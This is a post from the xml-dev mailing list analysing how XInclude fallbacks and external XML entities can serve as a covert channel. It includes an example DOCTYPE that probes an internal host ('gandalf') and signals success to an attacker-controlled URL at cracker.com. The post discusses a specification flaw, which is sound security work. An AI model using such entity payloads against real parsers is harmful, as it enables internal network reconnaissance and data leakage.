Re: [xml-dev] XInclude: security risk 1

[Elliotte Rusty Harold <elharo@metalab.unc.edu>]

I initially thought this was worse then the entity problem because 
the fallbacks allowed the result of a load or failure to be 
communicated back to another site.  On further reflection, and after 
reading various comments in this thread, I now think it may not be. 
However, this is not because I think the hole is potentially any less 
dangerous. Rather I've realized that entity resolution is more 
dangerous than I initially thought. Furthermore, both XInclude and 
External entity resolution are more dangerous than IMG loading 
because they both offer a covert channel through which the success or 
failure of a load can be communicated to a remote site.

In XInclude this mechanism is the fallback. In external entities, 
it's the next entity reference. There are a variety of ways to 
organize this, using both parameter and general entities, and 
internal and external DTD subsets. However, for the sake of argument, 
consider this document:


<!DOCTYPE root [
   <!ENTITY target1 SYSTEM "http://gandalf/index.xml";>
   <!ENTITY result1 SYSTEM "http://www.cracker.com/?exists=Gandalf";>
]>
<root>
   &target1;
   &result1;
</root>

The attacker can know that Gandalf exists if they receive the 
callback to their URL in their logs. If they don't, a local host 
named gandalf probably doesn't exist. (Gandalf at least used to be 
one of the most common host names. Other obvious targets include 
192.168.254.XXX, etc.)

Some parsers might resolve both references when the DTD is parsed, 
and might not actually throw an error on the missing target1 until it 
was referenced in the instance document. But some parsers will behave 
as needed for this to work, and you might force the behavior you want 
by using parameter entity references instead of general entity 
references. That would be less obvious to the user too.  This is not 
a perfect communications channel by any means, but it isn't perfectly 
closed either.

This is still probably less dangerous than the XInclude version of 
the attack because for it to succeed gandalf not only needs to exist, 
it must return something that can plausibly fit into an XML document: 
either XML or plain text that doesn't contain & or <. XInclude can 
use parse="text" to open up a lot more possibilities.

The IMG case in HTML is qualitatively different. The success or 
failure of the loading of one IMG element is unrelated to the loading 
of anything else. As far as I've been able to devise, there's no 
direct way to communicate the result back to another host. (Perhaps 
JavaScript can do it. I really don't know.)
-- 

+-----------------------+------------------------+-------------------+
| Elliotte Rusty Harold | elharo@metalab.unc.edu | Writer/Programmer |
+-----------------------+------------------------+-------------------+
|          XML in a  Nutshell, 2nd Edition (O'Reilly, 2002)          |
|              http://www.cafeconleche.org/books/xian2/              |
|  http://www.amazon.com/exec/obidos/ISBN%3D0596002920/cafeaulaitA/  |
+----------------------------------+---------------------------------+
|  Read Cafe au Lait for Java News:  http://www.cafeaulait.org/      |
|  Read Cafe con Leche for XML News: http://www.cafeconleche.org/    |
+----------------------------------+---------------------------------+